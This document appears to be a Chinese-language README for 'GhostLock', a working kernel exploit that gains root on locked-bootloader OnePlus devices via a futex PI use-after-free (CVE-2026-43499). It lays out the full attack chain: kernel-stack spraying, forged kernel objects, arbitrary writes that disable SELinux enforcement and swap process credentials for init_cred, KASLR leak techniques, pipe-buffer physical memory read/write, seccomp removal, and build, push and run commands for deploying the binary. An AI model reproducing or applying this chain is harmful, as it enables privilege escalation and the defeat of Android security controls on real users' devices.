针对已锁定引导加载程序的 OnePlus 设备的内核漏洞利用。使用 CVE-2026-43499 在不解锁引导加载程序或修改 boot.img 的情况下获取 root 权限。
仅限授权安全研究与教育目的。
| 项目 | 详情 |
|---|---|
| CVE | CVE-2026-43499 |
| 类型 | Futex PI(优先级继承)释放后使用 |
| 影响范围 | Linux 内核 2.6.39 ~ 7.1 |
| 修复于 | 主线 7.1(提交 3bfdc63936dd) |
| Android 状态 | GKI 6.12.x 仍然存在漏洞 |
pselect6 系统调用将 fd_set 复制到内核栈。当与 futex PI 等待者机制结合时,已释放的栈帧可能被重新分配为 rt_mutex_waiter 结构体。在 PI 链遍历期间,红黑树再平衡会将受控数据写入任意内核地址。
futex PI UAF (CVE-2026-43499)
├─ 伪造 rt_mutex_waiter 对象
├─ 通过 pselect/select fd_set 布局控制内核栈
├─ 触发 rt_mutex PI 操作以实现任意写入
├─ 写入 1:selinux_state.enforcing = 0
└─ 写入 2:cred → init_cred(uid=0,完整 capabilities)
| 设备 | 代号 | SoC | 内核 | 固件 | 状态 |
|---|---|---|---|---|---|
| OnePlus Ace 6T | PLR110 | SM8845(Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14275539-4k | ColorOS 16.0.2.403 | ✅ 已验证 |
| OnePlus Ace 6T | PLR110 | SM8845(Snapdragon 8s Elite) | 6.12.38-android16-5-...-ab14552068-4k | ColorOS 16.0.8.301 | ✅ 已验证 |
| OnePlus 15 | PLK110 | SM8845(Snapdragon 8s Elite) | 6.12.23-android16-5-...-ab14541642-4k | — | ✅ 已验证 |
同一 SoC 系列、Android 16 或内核 6.12.x 的其他 OnePlus 设备可通过 boot.img 偏移提取进行适配。
GhostLock 负责权限提升。安装 KernelSU 需要 ksud(随 KMI 特定的 kernelsu.ko 一起提供):
| 来源 | 说明 |
|---|---|
| ReSukiSU APK(推荐) | 安装 ReSukiSU;APK 中捆绑了 libksud.so |
| CI Release | 从 ReSukiSU CI 下载(ksud-aarch64-linux-android.zip) |
没有 ksud 时,漏洞利用仍可获得 uid=0 的 root shell,但 KernelSU 不会被安装,
su也不会持久化。
ANDROID_NDK_HOME 或 ANDROID_NDK_ROOT# Default (API 35)
make
# Specify API level
make API=34
# Specify NDK path
NDK=/path/to/android-ndk make
ghostlock — 静态链接的 ARM64 ELF 可执行文件。
# 1. Enable ADB TCP mode
adb tcpip 5555
# 2. Push ADB key (required for bootstrap mode)
adb push ~/.android/adbkey /data/local/tmp/a/adbkey
# 3. Push the exploit
adb push ghostlock /data/local/tmp/a/e
adb shell chmod 755 /data/local/tmp/a/e
首次成功后,
resetprop会自动设置persist.adb.tcp.port=5555,从而允许在后续重启时完全自动运行。
/data/local/tmp/a/e
/data/local/tmp/a/e --bootstrap
setprop 启用 ADB TCP 5555127.0.0.1:5555/data/local/tmp/a/e --write1
偏移存储在 src/devices/offsets.h 查找表中,以 uname -r 为键。程序在启动时自动匹配;未知内核会被拒绝。
static const struct kernel_offsets known_offsets[] = {
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14275539-4k", ...),
OFFSETS_ENTRY("6.12.38-android16-5-...-ab14552068-4k", ...),
OFFSETS_ENTRY("6.12.23-android16-5-...-ab14541642-4k", ...),
{ .uname_r = NULL } /* sentinel */
};
| 类型 | 数量 | 提取方式 |
|---|---|---|
| kallsyms 全局符号 | 28 | tools/extract_target.py |
| BTF 结构体字段 | 57 | tools/extract_btf.py |
| 派生值 | 9 | 自动计算 |
| 固定常量 | 12 | 硬编码 |
| 结构体 | 字段数 | 用途 |
|---|---|---|
task_struct | 17 | 进程描述符、cred、seccomp |
rt_mutex_waiter | 6 | UAF 伪造目标 |
cred | 4 | 凭据、capabilities |
seccomp | 3 | Seccomp 过滤器状态 |
pipe_inode_info | 11 | 管道缓冲区操作 |
file_operations | 13 | 伪造 fops 表 |
mm_struct | 1 | 内存描述符所有者 |
当内核指针受限(kptr_restrict)时,通过用内核地址覆盖的 boot_id 泄漏基地址:
Read /proc/sys/kernel/random/boot_id
└─ UUID contains nfulnl_logger address
└─ KASLR slide = leaked_addr - image_offset
└─ kaslr_base
当 ashmem 设备可访问时,使用 configfs 读/写原语从 ashmem fops 表读取函数指针并计算 KASLR 偏移。
在 order-3(32KB)页上伪造内核对象:
file_operations — 劫持 ashmem miscdevice fops 指针rt_mutex_waiter — 模拟 PI 链等待者节点task_struct — PI 遍历期间的任务引用rt_mutex(锁) — 正确的等待者/所有者信息通过 SKB(套接字缓冲区) + KernelSnitch 实现:
mm_struct 地址sendmsg 填充内核堆获得 KASLR 基地址后,使用管道缓冲区进行物理级内存访问:
1. Locate pipe buffer in physmap
2. Forge pipe_buffer ops table pointing to known pipe_buf_ops
3. Hijack pipe_buffer.page to target physical address
4. Arbitrary physical read/write via normal pipe operations
支持:pipe_read64、pipe_write64、pipe_phys_read_data、pipe_phys_write_data
Target: selinux_state.enforcing (offset 0x00)
Method: child-node PI write → forge waiter __rb_parent_color
pointing to selinux_enforcing - 8
rb-tree rebalance writes 0x00
Target: child process cred pointer
Method: 1. fork child → perf_find_task() locate task_struct
2. calculate cred field offset
3. child-node PI write → cred = init_cred (uid=0, full caps)
4. clear seccomp (TIF_SECCOMP + seccomp struct zeroed)
在 cred 覆盖后执行 capability 回读验证。
src/core/miniadb.c — 用于 bootstrap 模式的轻量级 ADB 协议客户端:
1. TCP connect 127.0.0.1:5555
2. A_CNXN → connection request
3. A_AUTH → RSA token challenge
4. dlopen("libcrypto.so") → PEM_read_bio_RSAPrivateKey → RSA_sign
5. A_AUTH (AUTH_SIGNATURE) → signed response
6. A_CNXN → connection established
7. A_OPEN "shell:/data/local/tmp/a/e" → full exploit
支持 SHA-1 和 SHA-256 签名算法。